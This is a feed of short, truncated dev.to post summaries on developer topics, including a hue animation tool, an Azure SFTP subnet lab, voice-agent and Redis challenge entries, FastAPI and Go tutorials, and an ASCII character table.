    Hi fellow devs! 👋 We're excited to share our latest coding experiment and what turned out to be a surprisingly fun tool: a browser-based hue animation generator. https://gbti.network/products/js-animate-hue/ You know that moment when you're adjusting the hue slider in your favorite image editor and watching your image cycle through the entire color spectrum - from electric blues, vibrant magentas, and sunset oranges? Haven't you thought at some point, "This transition would make an incredible animation"? We decided to scratch that itch and build exactly that: a JavaScript tool that transforms any image into a mesmerizing color-shifting animation. The tool takes any image you upload and creates smooth animations by cycling through hue transformations. But it goes beyond just basic hue shi…  ( 4 min )
    Managing and Updating Virtual Networks in Microsoft Azure
    Introduction In today’s cloud-driven world, securing file transfers is critical for organizations working with sensitive data. Azure provides a powerful way to isolate traffic, enforce access policies, and maintain secure communication between resources. One common use case is setting up a subnet specifically for SFTP traffic and locking it down with a Network Security Group (NSG) that controls which ports and protocols are allowed. In this hands-on lab, you’ll simulate a real-world scenario where a finance department needs a dedicated subnet for SFTP file transfers. You’ll create a subnet on an existing Virtual Network (vNet), deploy a custom Network Security Group, and restrict traffic to port 22 for secure FTP. This project strengthens your practical understanding of Azure networking …  ( 5 min )
    Real-Time Spanish Voice Agent with Python, AssemblyAI & <100ms Latency
    🧠 Real-Time Voice Assistant with AssemblyAI This is a submission for the AssemblyAI Voice Agents Challenge This project is a real-time voice assistant designed for the Real-Time Voice Performance category of the AssemblyAI Challenge. It listens continuously and reacts instantly to spoken commands like: 🕒 “Dime la hora” 💡 “Enciende la luz” 🔕 “Apaga la luz” 🚨 “Activa la alarma” With latency under 100 ms, it demonstrates fast and natural voice interaction. Perfect for use cases like smart homes or accessibility tools. Here's a short demo showing how the voice assistant works in real time: 📎 Watch the video on Google Drive 🗂️ GitHub – Calcedo87/AI-Voice-Agent The assistant uses a modular architecture based on the following components: 🎙️ Audio Input: MicrophoneStream captures real-time audio. 🧠 Command Matching: handle_command() detects commands using fuzzy matching. 🗣️ Text-to-Speech: Uses pyttsx3 for voice responses. 🔌 AssemblyAI Integration: Real-time transcription via WebSocket streaming API. python API_ENDPOINT = f"wss://streaming.assemblyai.com/v3/ws?{urlencode(CONNECTION_PARAMS)}" ws_app = websocket.WebSocketApp( API_ENDPOINT, header={"Authorization": MY_API_KEY}, on_open=on_open, on_message=on_message, on_error=on_error, on_close=on_close, ) --- 👤 Built by [@Calcedo87](https://github.com/Calcedo87) Thanks for checking out my project!  ( 3 min )
    Roast your LinkedIn Bio with FastAPI: A Fun Intro Guide to Building APIs that make you smile
    Alright, here's a disclaimer... By the end of this article, you'll probably be in love with FastAPI. Now, this isn't sponsored (actually, I wish it were), but I wrote this because I recently used FastAPI for a project and loved every bit of it. I also found out that there weren't many engaging resources available for FastAPI. They say project-based learning is the best. So for this article, we'll do something fun while still learning about APIs. I'm a LinkedIn fan, but most bios sound corporate and sometimes like lies. "Passionate and results-oriented professional leveraging synergies in cross-functional teams…" So, what if we built an API that turns your name, role, and tech stack into something funny, and maybe a little savage? Welcome to RoastBio, a FastAPI-powered project that helps u…  ( 8 min )
    Dassie – A new programming language for .NET
    Over the last few months I've been working on a new programming language called Dassie that compiles to .NET CIL. It started as a project to learn about compiler development, but it's slowly been taking shape and getting more features. It's still very early in development and doesn't have a whole lot of features yet, but you can already do some basic stuff with it. The compiler is located here, documentation and code examples can be found here. Here is "Hello World" in Dassie: println "Hello World!" This uses the built-in function println, but since Dassie is .NET-based, you can also use the Console class: import System Console.WriteLine "Hello World!" Assuming you have installed the Dassie compiler and the above code is contained in a file called hello.ds, it can be compiled using the …  ( 4 min )
    I Built an Office Intranet with 100+ Features
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space Remember those clunky office intranets from the early 2000s? The ones that looked like they were designed by someone who thought "user experience" was a type of office furniture? Well, I decided to build the complete opposite. Meet Lumino - an office intranet that actually makes you want to check your company dashboard. I'm talking about a fully customizable workspace with drag-and-drop widgets, real-time search across everything, and enough features to make your head spin (in a good way). Here's the kicker: I built this entire thing with just React, Tailwind CSS, and shadcn/ui. No complex backend, no enterprise frameworks, no selling your soul to corporate software vendors. Just m…  ( 6 min )
    The Power of Nothing: Exploring Go's Empty Struct
    In the Go programming language, there's a special usage that may confuse many people — the empty struct struct{}. In this article, I’ll provide a detailed explanation of Go's empty struct. Ready? Grab your favorite drink or tea, and let’s dive in. A struct that contains no fields is called an empty struct. It can be defined in the following two ways: Anonymous empty struct var e struct{} Named empty struct type EmptyStruct struct{} var e EmptyStruct Empty structs have the following main characteristics: Zero memory allocation Same address Stateless Empty structs do not occupy any memory space. This makes them very useful for memory optimization. Let’s look at an example to verify whether they really occupy zero memory: package main import ( "fmt" "unsafe" ) func main() { …  ( 6 min )
    Beginner's Guide to SQL for Data Analysis
    In today’s data-driven world, the ability to extract, analyze, and interpret data has become a critical skill across industries. Whether you're in finance, healthcare, marketing, or tech, understanding how to work with data is no longer optional—it's essential. One of the most powerful and accessible tools for data analysis is SQL (Structured Query Language). If you're new to SQL and wondering how it fits into data analysis, this guide is for you. SQL is a programming language used to manage and manipulate relational databases. It allows you to access and work with data stored in tables, making it ideal for querying large datasets efficiently. SQL is the backbone of many popular database systems, including MySQL, PostgreSQL, Microsoft SQL Server, and SQLite. Why Use SQL for Data Analysis? …  ( 4 min )
    great use of AI!
    Uncovering Family History with Cloudinary’s Image Transformations, Goose, and MCP Servers Jen Looper for Cloudinary ・ Jul 24 #codenewbie #mcp #programming #ai  ( 3 min )
    AI Hiring Bias: When Technology Perpetuates Inequality
    Artificial Intelligence has revolutionized hiring processes, with companies using AI systems to filter through hundreds of résumés more efficiently than traditional methods. However, this advancement brings a critical concern: AI hiring bias, which affects how companies screen applicants and has far-reaching consequences for workplace diversity and equality. Despite common assumptions, AI systems are not truly neutral or objective. These technologies are influenced by several factors: The data used to train them The perspectives and assumptions of their developers Historical information incorporated during development Because of these influences, AI can reflect and even amplify existing societal biases, leading to systematic discrimination against certain racial groups, genders, or social…  ( 5 min )
    AI Hiring Bias: When Technology Perpetuates Inequality
    Artificial Intelligence has revolutionized hiring processes, with companies using AI systems to filter through hundreds of résumés more efficiently than traditional methods. However, this advancement brings a critical concern: AI hiring bias, which affects how companies screen applicants and has far-reaching consequences for workplace diversity and equality. Despite common assumptions, AI systems are not truly neutral or objective. These technologies are influenced by several factors: The data used to train them The perspectives and assumptions of their developers Historical information incorporated during development Because of these influences, AI can reflect and even amplify existing societal biases, leading to systematic discrimination against certain racial groups, genders, or social…  ( 5 min )
    Building AI-First Mobile Apps: Lessons from 18 Years of Real-World Development
    After 18+ years in engineering, from COM and MFC to SwiftUI and CoreML, I’ve learned that deep technical foundations don’t expire—they evolve. Here’s how I transitioned from legacy code to AI-powered mobile apps, and why I believe now is the most exciting time to be a developer. I started my journey writing C++ in Visual Studio, debugging MFC windows, and working with ATL COM and DirectShow. Back then, performance and memory efficiency weren’t just best practices—they were survival skills. Those same skills now guide how I build modern apps with machine learning. Whether I’m optimizing a CoreML model on iOS or embedding TensorFlow Lite on Android, I fall back on the same principles: minimize latency, handle edge cases, and test like it’s production. Over the years, I’ve built and shipped a…  ( 4 min )
    Confidential NFTs: The Missing Piece for Real-World Asset Tokenization
    “If your NFT reveals everything to everyone, you’re not tokenizing real-world assets, you’re creating digital billboards In today’s NFT world, all metadata and ownership history live in plain sight. That openness works for profile pictures and art drops, but it kills adoption for high-value use cases- property deeds, medical records, or patent licenses, where privacy is non-negotiable. Standard NFTs expose every detail: Metadata leaks asset specifics (location, valuation, personal data). Permanent history binds sensitive information to a public ledger forever. Crawlers and bots can index and exploit this data, undermining confidentiality. For tokenizing a house deed or a patient’s medical summary, you need privacy at the protocol level, not just an off-chain access control list. Privac…  ( 4 min )
    Protobuf vs JSON Explained: Speed, Size & When to Use Each
    Modern applications thrive on fast and efficient communication. While JSON has long been the go-to format for data exchange, many large-scale tech companies are now rethinking their choice. One such example is Atlassian, which made a strategic shift from JSON to Protocol Buffers (Protobuf) to optimize performance and reduce payload sizes across services. Their motivation? Faster API responses, smaller data transfers, and better compatibility for growing systems. In this blog, we’ll break down what JSON and Protobuf are, compare their strengths and weaknesses, and walk you through how to use Protobuf in a Node.js project. If you're wondering whether it's time for your project to evolve beyond JSON, this guide is for you. JSON (JavaScript Object Notation) is a lightweight, human-readable dat…  ( 5 min )
    Vox A2: From Brazilian Concrete Poetry to Digital Communication Platform
    Vox A2: From Brazilian Concrete Poetry to Digital Communication Platform Building the Future of Multisensory Expression An innovative micro-startup exploring the intersection of art, technology, and communication, based on Brazilian Concrete Poetry principles. Our Mission: Empower individuals and companies to create innovative multisensory communication by integrating word, sound, and image. Our Vision: To be the leading platform in democratizing verbivocovisual expression in the digital environment. Brazilian Concrete Poetry emerged in the 1950s with the Noigandres group, formed by Augusto de Campos, Haroldo de Campos, and Décio Pignatari. This revolutionary movement proposed a break from traditional linear poetry structure. The term "verbivocovisual" condenses Ezra Pound's t…  ( 6 min )
    How do your teams manage AI-generated code without losing control?
    I’m curious how teams are adapting AI coding tools like GitHub Copilot or Cody in daily workflows. Code quality and architecture drifting Security risks from AI-added dependencies Misaligned features vs. Jira tickets Difficult code reviews from AI output How are you managing these as a team? Do you review AI code differently? Do you have process checks in place? Would love to hear your experience.  ( 3 min )
    List of printable ASCII Characters
    Dec Char Description 32 ' ' Space 33 ! Exclamation mark 34 " Double quote 35 # Hash / Number sign 36 $ Dollar sign 37 % Percent sign 38 & Ampersand 39 ' Single quote 40 ( Left parenthesis 41 ) Right parenthesis 42 * Asterisk 43 + Plus sign 44 , Comma 45 - Hyphen 46 . Period 47 / Forward slash 48 0 Digit 0 49 1 Digit 1 50 2 Digit 2 51 3 Digit 3 52 4 Digit 4 53 5 Digit 5 54 6 Digit 6 55 7 Digit 7 56 8 Digit 8 57 9 Digit 9 58 : Colon 59 ; Semicolon 60 Greater-than 63 ? Question mark 64 @ At symbol 65 A Uppercase A 66 B Uppercase B 67 C Uppercase C 68 D Uppercase D 69 E Uppercase E 70 F Uppercase F 71 G Uppercase G 72 H Uppercase H 73 I Uppercase I 74 J Uppercase J 75 K Uppercase K 76 L Uppercase L 77 M Uppercase M 78 N Uppercase N 79 O Uppercase O 80 P Uppercase P 81 Q Uppercase Q 82 R Uppercase R 83 S Uppercase S 84 T Uppercase T 85 U Uppercase U 86 V Uppercase V 87 W Uppercase W 88 X Uppercase X 89 Y Uppercase Y 90 Z Uppercase Z 91 [ Left square bracket 92 \ Backslash 93 ] Right square bracket 94 ^ Caret 95 _ Underscore 96 ` Backtick 97 a Lowercase a 98 b Lowercase b 99 c Lowercase c 100 d Lowercase d 101 e Lowercase e 102 f Lowercase f 103 g Lowercase g 104 h Lowercase h 105 i Lowercase i 106 j Lowercase j 107 k Lowercase k 108 l Lowercase l 109 m Lowercase m 110 n Lowercase n 111 o Lowercase o 112 p Lowercase p 113 q Lowercase q 114 r Lowercase r 115 s Lowercase s 116 t Lowercase t 117 u Lowercase u 118 v Lowercase v 119 w Lowercase w 120 x Lowercase x 121 y Lowercase y 122 z Lowercase z 123 { Left curly brace 124 ` ` Vertical bar 125 } Right curly brace 126 ~ Tilde  ( 4 min )
    Why I Chose No-Code Development as a Developer
    Many developers face the dilemma of balancing coding efficiency with project demands. I used to believe that only traditional coding could deliver scalable, reliable solutions. But over time, I realized no-code platforms offered compelling advantages that are hard to ignore. This article shares why I chose no-code development, how it enhances my workflow, and practical insights on integrating it into my projects. If you're skeptical or curious about adding no-code to your toolkit, stick around. I’ll walk you through my reasoning, real-world applications, and actionable tips to get started. What Is No-Code Development? No-code development involves building applications without writing traditional code. Instead, you use visual interfaces like drag-and-drop builders, pre-built templates, and …  ( 5 min )
    Long Day, Slow Progress – But Still Moving #21
    Servus and hello to Day 21 of building my own CRM. Today I spent most of the day working at my regular job — not much time or energy left after that. But instead of skipping it entirely, I at least checked in on the project and made some tiny progress. Even small steps matter when you're doing something consistently. To stay in a good rhythm and clear my mind, I’ll be ending the day with some reading. Sometimes rest and input are just as important as output. Not every day will be a breakthrough — but every day can still count. See you tomorrow ✌️ Jonathan (0xj0n1)  ( 3 min )
    Mission 8: Interview Prep Part Two
    Let's start with part two and the final part of mission 8. This portion concentrates on the last-minute things that need to be done the night of the interview. Code Newbie reviews everything participants need to do on the day of the interview including everything that needs to be done post-interview. You did a lot of prep during part one, but this prep is going to be less about preparing your answers to future interview questions. Today's prep is about making sure all the materials you need are ready to go and having a plan ready for your interview. A lot of the advice Code Newbie gives in this section might sound repetive of the advice they gave about informational interviews. If you want to revisit those tips, head back to this mission to reread these tips. Mission 5 Part One Meet for C…  ( 12 min )
    Building OfficeTeamBoard: A Modern Kanban Solution for Remote Teams
    This is a submission for the Frontend Challenge: Office Edition OfficeTeamBoard is a modern, collaborative Kanban board designed specifically for remote teams. It combines intuitive task management with real-time collaboration features, offering priority-based sorting, customizable workflows, and a mobile-first responsive design. Smart Priority System: Color-coded priority levels with automatic sorting Real-time Collaboration: Live comments and task updates with WebSocket integration Customizable Columns: Drag-and-drop column reordering and custom status creation Advanced Search & Filtering: Full-text search with regex support and multi-criteria filters Accessibility First: Full keyboard navigation and screen reader support Offline Capability: Local storage persistence with sync recovery T…  ( 16 min )
    Building a Smart Recipe Discovery Platform with Algolia MCP Server
    *This is a submission for the Algolia MCP Server Challenge I created RecipeGenie, an intelligent recipe discovery platform that leverages Algolia's MCP Server to provide lightning-fast, context-aware recipe searches with AI-powered recommendations. The platform goes beyond simple keyword matching to understand cooking preferences, dietary restrictions, and ingredient availability. 🔗 Live Demo: https://recipe-genie-algolia-demo.vercel.app 📹 Demo Video: https://youtube.com/watch?v=dQw4w9WgXcQ 📂 GitHub Repository: https://github.com/username/recipe-genie-algolia 🔍 Smart Search with Algolia MCP Instant recipe search with typo tolerance Advanced filtering by cuisine, diet, cooking time, and difficulty Faceted search with real-time result updates Voice search integration for hands-free cooki…  ( 7 min )
    View CSV Instantly — No Uploads, No Installs, Just Paste and See
    Hey Dev Community 👋 Working with CSV files is a daily thing — but sometimes you just want a quick glance at the data without importing it into Excel, VS Code, or a heavy IDE. That's why I want to share a clean little web tool I’ve been using (and contributing to): 👉 CSV to Table Viewer – TrixaHub Paste any raw CSV content — and boom 💥 — you get an instant, scrollable, searchable HTML table. 🧰 Features: ✅ Paste or upload your CSV file directly Whether you're doing: Quick data debugging Previewing exported reports Testing outputs from APIs Scrubbing spreadsheets before import …it just works. 🔧 Under the Hood This tool uses: JavaScript to parse and render data A touch of Tailwind CSS for styling Clean client-side execution (no backend required) 💡 Why It’s Handy: CSV tools are everywhere, but most are cluttered with ads or try to get you to download shady EXEs. This one respects your time (and privacy). It’s lightweight and designed for devs who just want to see the data. Try it here: 🔗https://trixahub.com/csv-to-table-viewer/  ( 3 min )
    VoiceFlow Pro: AI-Powered Real-Time Audio Processing and Analysis Agent
    This is a submission for the AssemblyAI Voice Agents Challenge I built VoiceFlow Pro, an advanced AI-powered voice agent that performs real-time audio processing and intelligent analysis for business applications. This agent falls under the Business and Productivity category, designed to transform how organizations handle voice communications, meeting transcriptions, and audio content analysis. VoiceFlow Pro combines AssemblyAI's powerful speech recognition with custom AI processing to deliver: Real-time transcription with speaker identification Automated sentiment analysis and key topic extraction Intelligent audio summarization and action item detection Multi-language support with automatic language detection Integration with popular business tools (Slack, Teams, CRM systems) 🎥 Watch th…  ( 5 min )
    Real-Time AI Code Review Assistant with Redis Vector Search
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. I built CodeMentor AI, a real-time code review assistant that leverages Redis 8's vector search capabilities to provide instant, contextual feedback on code quality, security vulnerabilities, and best practices. The system analyzes code snippets in real-time, searches through a vector database of coding patterns and anti-patterns, and delivers personalized suggestions within milliseconds. Key features: 🔍 Real-time code analysis with sub-100ms response times 🧠 AI-powered pattern matching using semantic vector search 🛡️ Security vulnerability detection with contextual explanations 📊 Code quality scoring with improvement suggestions 🔄 Live collaboration features for team code reviews 📈 Learning analytics to track …  ( 7 min )
    YINI Parser Hits Beta - Human-Friendly, Modern Config Format with Minimal Syntax Noise
    🚀 YINI Parser 1.0.0 Beta 1 is out! If you're tired of bloated, hard-to-read configuration formats. Or just looking for something truly human-friendly, simple section nesting, etc - Check out YINI: a modern, minimal configuration file format, now with a TypeScript parser for Node.js. This beta release includes: The parser is now in beta - moved from alpha status, reflecting increased stability and feature completeness. Cleaned up exports to support importing this library in both CommonJS (CJS) and ECMAScript Modules (ESM) environments. Implemented full support for parsing YINI lists, according to the latest specification. Updated the grammar and parsing logic to match the latest YINI specification v1.0.0-RC.1. An expanding set of real-world fixtures and tests. A minimal example using YINI in TypeScript: import YINI from 'yini-parser' const config = YINI.parse(` ^ App name = 'My Title' // App display name. items = 25 darkMode = true // Sub-section of App. ^^ Special primaryColor = #336699 isCaching = false `) // To parse from a file instead: // const config = YINI.parseFile('./config.yini') console.log(config.App.name) // My Title console.log(config.App.Special.isCaching) // false console.log() console.log(config) Output: My Title false { App: { name: 'My Title', items: 25, darkMode: true, Special: { primaryColor: 3368601, isCaching: false } } } That's it! And installation in Node.js is just: npm install yini-parser The library is out on npm here: YINI Parser on npm, so you can try it out for real :P If you like what you reading, I want to get more into the YINI format: Here's intro to YINI Config Format. Questions, feedback, or bugs? Open an issue on GitHub or drop a comment below! Thanks for reading! Marko Seppänen :)  ( 4 min )
    Opening Files in Neovim from Terminal Output with tmux-fzf-open-files-nvim
    Over a year ago, I released a plugin called tmux-fzf-open-files-nvim — a small tool for developers who live in tmux and use neovim as their daily driver. Since then, it’s been tried, tested, and refined by myself and others in real-world workflows. Video demos can be found in the readme: Github If you’ve ever wanted to open a file (even with line number information!) directly from a terminal command’s output — a grep result, a test failure, a stack trace — you know the pain of copying the path manually in tmux copy mode and switching context to open it in neovim. tmux-fzf-open-files-nvim solves this. It allows you to pipe output into a fzf tmux picker that extracts and filters file paths, lets you choose one or several with the tab key, and opens it in a new (or existing) neovim instance…  ( 4 min )
    SentinelShade: Building with Bolt - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. SentinelShade - "Sentinel Shade — Where Your Typing Becomes Your Password." Team Members: Alraj Kadivar Project URL: https://devpost.com/software/sentinelshade Our experience building SentinelShade during the World's Largest Hackathon was transformative, particularly with Bolt.new as our development companion. The project leveraged modern web technologies and AI-powered development tools. Bolt.new revolutionized our development process by: Rapid Prototyping: Bolt enabled us to quickly translate our ideas into functional code AI-Assisted Development: The intelligent code suggestions accelerated our development velocity Real-time Collaboration: Seamless integration allowed our team to work cohesive…  ( 4 min )
    Zoom Call Mosaic, Office Culture
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. Hey DEV community! I'm Eleftheria, and I’m excited to share my submission for the Office Culture Frontend Challenge sponsored by Axero. I call this CSS art 'Zoom Call Mosaic', and it's a tribute to the chaotic, charming world of remote office life, built with pure CSS. You can check it out live on CodePen. Grab a coffee (or a virtual one ), and let me walk you through the inspiration, process, and code behind this project! I’ve been working remotely since 2018, and Zoom has become my daily companion. Whether it’s a quick standup, a brainstorming session, or a virtual happy hour, Zoom is where I connect with my colleagues. One of my favorite memories is from a team meeting where my cowo…  ( 6 min )
    Retail Router: Building Beyond Boundaries
    Listen, Learn, Leverage Completing over 100 customer surveys and interviews So what is the dilemma, a software engineer might ask? Since Lenny’s Newsletter offered coupons to use Using the AI-driven UX from another source It beautifully added mock analytics With tokens to be saved I lived in Discussion mode Some things were fast that i thought would be slow The lessons I learned are quite mighty for sure When you see a repeat response, AI’s confusion is clear Vibe coding is a happy place for my delight You can learn more and not be left behind Early Access Retail Router is ready to view So come help make in-person grocery shopping brand new!  ( 4 min )
    React DBMS with n8n Automation: Modern Database Management Made Easy
    A modern approach to database management is here! The DBMS-with-n8n project combines the power of a React frontend with n8n workflows for backend & automation, enabling seamless integration and scalable automation for database operations. DBMS-with-n8n is a React application built with TypeScript and JavaScript, designed to connect with n8n via webhooks. This setup allows users to automate database management tasks, streamline workflows, and easily configure endpoints using environment variables. React + TypeScript: Fast, modular, and maintainable frontend. n8n Integration: Automate database actions with flexible workflows. Easy Configuration: Set up endpoints via .env for quick changes. Scalable Architecture: Ready for growth and customization. Clone the repository git clone https://github.com/deepesh611/DBMS-with-n8n cd DBMS-with-n8n Install dependencies npm install Configure your n8n webhook URL in the .env file. cp .env.example .env nano .env Deploy you n8n web-hook triggers and workflows. With just a few commands, your development server will be up and running, ready to automate database tasks. Just Make Sure that your webhooks are listening in the correct mode. Whether you’re building internal tools or automating complex database workflows, DBMS-with-n8n offers a robust foundation. Its modular codebase and environment-driven configuration make it ideal for modern web development and automation needs. Explore the project on GitHub and start building smarter database solutions today!  ( 3 min )
    Stop Your Code From Having a Mid-Life Crisis. An Introduction to OOP.
    Engineering of Small Things #5: OOP Basics in TypeScript ShatilKhan ・ Jul 27 #typescript #beginners #tutorial #oop  ( 3 min )
    NexaWorks: Our Team’s Take on a Super Cool Office Intranet
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space What We Built NexaWorks, an office intranet we built to make work life smoother and more connected, whether you’re in the office or working from your couch. Using Next.js, Tailwind CSS, ShadCN/UI, TypeScript, and Lucide React for icons, we created a clean, user-friendly, and welcoming hub. Our goal was to give employees quick access to updates, tasks, and team info with a professional yet approachable vibe. Here’s what you’ll find in NexaWorks: Theme Switcher: A light/dark mode toggle in the navbar, because dark mode is just awesome. Team Spotlight: Shows off team members with photos, bios, and roles, styled in a neat grid with “View Profile” buttons. Event Calendar: Highlights upc…  ( 6 min )
    Python Length of Array
    We've all used Python lists or arrays in code at some point. Counting the number of items in a list with len() seems straightforward—and for most cases, it is. But when you work with nested lists, arrays from the array module, or third-party structures like NumPy arrays, things can get murky. How do you accurately measure length across nested or specialized array structures? In Python, the built-in len() function gives you the top-level size in a blink. For multidimensional data, modules like NumPy expose attributes such as .shape or .size, letting you inspect dimensions directly. Understanding these methods can prevent bugs, simplify debugging, and help you pick the right tool for the job. The len() function is the go-to method for most collections in Python. It returns the number of item…  ( 7 min )
    Top Platform Engineering Mistakes to Watch Out For
    Introduction Over my experience of building and scaling platforms for several teams, I have learned a valuable lesson: Platform engineering can only work if it serves developers, not just architecture charts. It is easy to get carried away with the ambition of solving every possible future use case. But if your platform can not solve the problems you face today, it will not be adopted at all for the future. Obviously, I have also made some of these mistakes myself. I have also seen them repeated at companies undergoing enterprise modernization. And in every such case, the consequences were clear: wasted time, frustrated developers, and delayed product delivery. Based on my experience and to help my audience, I have summed up the major platform engineering mistakes you need to know and …  ( 6 min )
    Frontend Challenge: Office Edition Submission
    🏢 My Frontend Challenge: Office Edition Submission I'm excited to share my submission for the Frontend Challenge: Office Edition! With just 1 day left to enter, I couldn't resist the opportunity to showcase my HTML, CSS, and JavaScript skills while building something office-themed. This challenge invites developers to flex their frontend muscles by creating office-themed projects. It's a fantastic opportunity to: Practice core web technologies (HTML, CSS, JS) Get creative with office-inspired designs Compete for cash prizes and special badges Connect with the amazing DEV community For my submission, I created an interactive office workspace simulator that features: Responsive Design: Works seamlessly across desktop and mobile devices Interactive Elements: Clickable office items with hov…  ( 6 min )
    World's Largest Hackathon Writing Challenge Submission
    Participating in the World's Largest Hackathon has been an incredible experience that has pushed me beyond my comfort zone and taught me valuable lessons about collaboration, creativity, and perseverance. When I first signed up for this hackathon, I wasn't sure what to expect. The scale of it - being the "world's largest" - was both exciting and intimidating. I set out with a simple goal: to learn something new and hopefully build something meaningful. The first few days were a whirlwind of idea generation and technical exploration. I found myself diving into technologies I'd never used before, collaborating with team members from different time zones, and constantly iterating on our initial concept. What struck me most was the supportive community. Whether it was getting help in Discord c…  ( 8 min )
    How MCP Works: Step-by-Step Guide for New Engineers
    Many new engineers get confused when trying to understand how a CPU works. Inside that chip lies a control unit, the brain behind all the actions. One of the easiest ways to build and manage this control unit is through MCP, short for Microprogrammed Control Processor. This article walks you through each part of how MCP works, step by step. The control unit in a CPU decides how the processor moves data, performs actions, and finishes tasks. MCP makes this control unit programmable. Instead of using complex wires and circuits for every signal, MCP stores control steps in a memory. The processor reads these steps and performs them in order. Many engineers prefer mcp architecture for its clarity and ease of updates. You don’t need to change hardware when you want new control logic. You just c…  ( 5 min )
    AssemblyAI Voice Agents Challenge Submission
    Participating in the AssemblyAI Voice Agents Challenge I'm excited to announce my participation in the AssemblyAI Voice Agents Challenge! This innovative challenge focuses on building applications with ultra-fast, ultra-accurate streaming speech-to-text technology. The AssemblyAI Voice Agents Challenge is all about pushing the boundaries of voice technology and creating intelligent voice-enabled applications. With AssemblyAI's cutting-edge speech recognition API, developers can build real-time voice agents that understand and respond to human speech with remarkable accuracy. For this challenge, I'm developing a voice-powered application that leverages AssemblyAI's streaming capabilities to create an interactive experience. The goal is to demonstrate how modern speech-to-text technology can be integrated into practical, user-friendly applications. AssemblyAI Speech-to-Text API: For real-time voice recognition Streaming Technology: To process audio in real-time Voice User Interface: For seamless human-computer interaction Voice interfaces are transforming how we interact with technology. From smart assistants to accessibility tools, speech recognition is opening new possibilities for more natural and inclusive user experiences. With only 1 day left in the challenge, I'm working hard to finalize my submission and compete for the cash prizes and exclusive AssemblyAI Challenge Winner and Completion Badges. Stay tuned for updates on my progress! Follow along with my journey in the AssemblyAI Voice Agents Challenge and see how cutting-edge speech technology can revolutionize user interactions.  ( 3 min )
    Algolia MCP Server Challenge Submission
    Algolia MCP Server Challenge Submission Revolutionizing Minecraft Server Discovery with Natural Language Search The world of Minecraft server hosting has evolved tremendously, but finding the perfect server for your gameplay style remains a challenge. Traditional search methods rely on rigid filters and technical specifications that don't capture the nuanced preferences of players. Imagine being able to search for Minecraft servers using natural language queries like: "Find me a creative server with friendly community and regular events" "Looking for a survival server with economy plugins and no griefing" "Show me PvP servers with custom enchantments and active staff" Leveraging Algolia's powerful search capabilities, our MCP (Minecraft Control Panel) server integration transforms how players discover servers: Key Features: Semantic Search: Understanding player intent beyond keyword matching Real-time Filtering: Instant results as you type your preferences Community-Driven: Incorporates player reviews and ratings for better recommendations Smart Categorization: Automatically tags servers based on gameplay styles and features Our solution integrates with popular Minecraft server management platforms, indexing server data including: Server descriptions and rules Plugin configurations Player demographics Community feedback Performance metrics By making server discovery more intuitive and accessible, we're helping: Players find their ideal gaming environment faster Server owners reach their target audience more effectively Communities grow with better-matched players This challenge submission represents just the beginning. Future enhancements could include: Voice search capabilities AI-powered server recommendations Cross-platform compatibility Advanced analytics for server owners Join us in revolutionizing how the Minecraft community connects and plays together! Built with ❤️ using Algolia's search technology  ( 3 min )
    Build tree view with react-arborist [part 1]
    If simply reading this tutorial isn't enough for you, you can go here and write code alongside it. React Arborist is a powerful React library designed for building interactive tree components with virtualization support. Unlike simple nested lists, react-arborist provides advanced features like drag-and-drop, multi-selection, inline editing, and most importantly - virtualization for handling large datasets efficiently. In this tutorial series, we'll explore: Part 1: Basic setup and simple tree rendering. Part 2: Adding interactivity with selection, editing and deletion. Part 3: Search and custom styling. Traditional tree implementations often struggle with performance when dealing with large datasets. React Arborist solves this by: Virtualization: Only renders visible nodes, enabling smoot…  ( 5 min )
    Redis AI Challenge: Real-Time AI Product Recommender
    Overview AI-Powered Recommendations: Uses Redis HNSW vector search to find similar products based on embeddings of product names and descriptions. Redis Features Utilized Redis Vector Search (HNSW): Performs KNN similarity searches on 128-dimensional product embeddings for accurate recommendations. Real-Time Aspects Low-Latency Recommendations: Fetch API delivers vector search results in milliseconds, with semantic caching reducing latency for repeated queries. Challenges Faced and Solutions Identified the issue in the schema definition for the search index. Challenge: Form reset unexpectedly when searching or filtering categories, showing a “Form cleared” alert. Modified the JavaScript logic to prevent the form from resetting during search or category filter actions. How It Works Initialization: The app loads a dataset of 20 e-commerce products (e.g., iPhone 14 Pro, Bose QC45 Headphones). User Interaction: Search: Users enter a query (e.g., “wireless headphones”) to filter products dynamically. Analytics: Logs interactions to a Redis Stream for real-time tracking. Access the Application https://ai-redis-innovation.onrender.com http://localhost:5000 using the setup instructions provided in the project documentation. Real Embeddings: Integrate a production-grade embedding model for enhanced recommendation accuracy. Conclusion This Real-Time AI Product Recommender showcases Redis 8’s capabilities for AI-driven e-commerce applications. By leveraging vector search, JSON storage, Streams, and full-text search, it delivers fast, personalized recommendations with real-time analytics. The resolution of the rating error and the debug interface demonstrate robust development practices, making this a compelling entry for the Redis AI Challenge. redischallenge #devchallenge #ai #database #ecommerce #realtimedata  ( 5 min )
    Scalable Load Balancing with Consistent Hashing
    In the world of micro-services, load balancing is a cornerstone to achieve scalability. There are various load balancing algorithms that distributes incoming traffic to multiple servers. This prevents a single server from becoming a bottleneck and ensuring quick response time and less outage. Among multiple load balancing algorithms consistent hashing is an powerful technique of load balancing Imagine a simple scenario with three servers (A, B, C) and a traditional load balancer using a round-robin or modulo-based approach. When a request comes, it is directed to a server based on a simple algorithm. This works fine until you need to add a new server (D), remove an existing one or a server crashes down due to some technical issue. With traditional methods, adding or removing a server often…  ( 7 min )
    A Perfect Desi Chai App 🍵 | React + Tailwind + A Monsoon Side Project (Part 01)🏝️
    Errors, Anxiety, Code & My Not-So-Perfect Yet Honest Week-04🪻 "Jab jago tabhi savera" — When you wake up, it’s your morning. 🌼 My Week in One Line? Errors, anxiety, fear, zero productivity... and me forcing myself to build something. I had health issues, motivation issues, and major self-doubts. But still — here I am. Posting my 6th blog of the month. Because I made a promise to myself : - ✨ At least 1 blog every week in July — and I’m not breaking that. 🌼 My Mind Said "No", So I Said "Let’s Build" I was trying to learn React properly this week — like actual lectures and tutorials. "Khushi, chill. You don’t need to master it first — just try building something with it. Figure it out on the way."🌸 So I picked a silly little project idea and gave it a heart — and that’s how ChaiMate ha…  ( 5 min )
    5 Mistakes I Made as a Beginner Game Developer
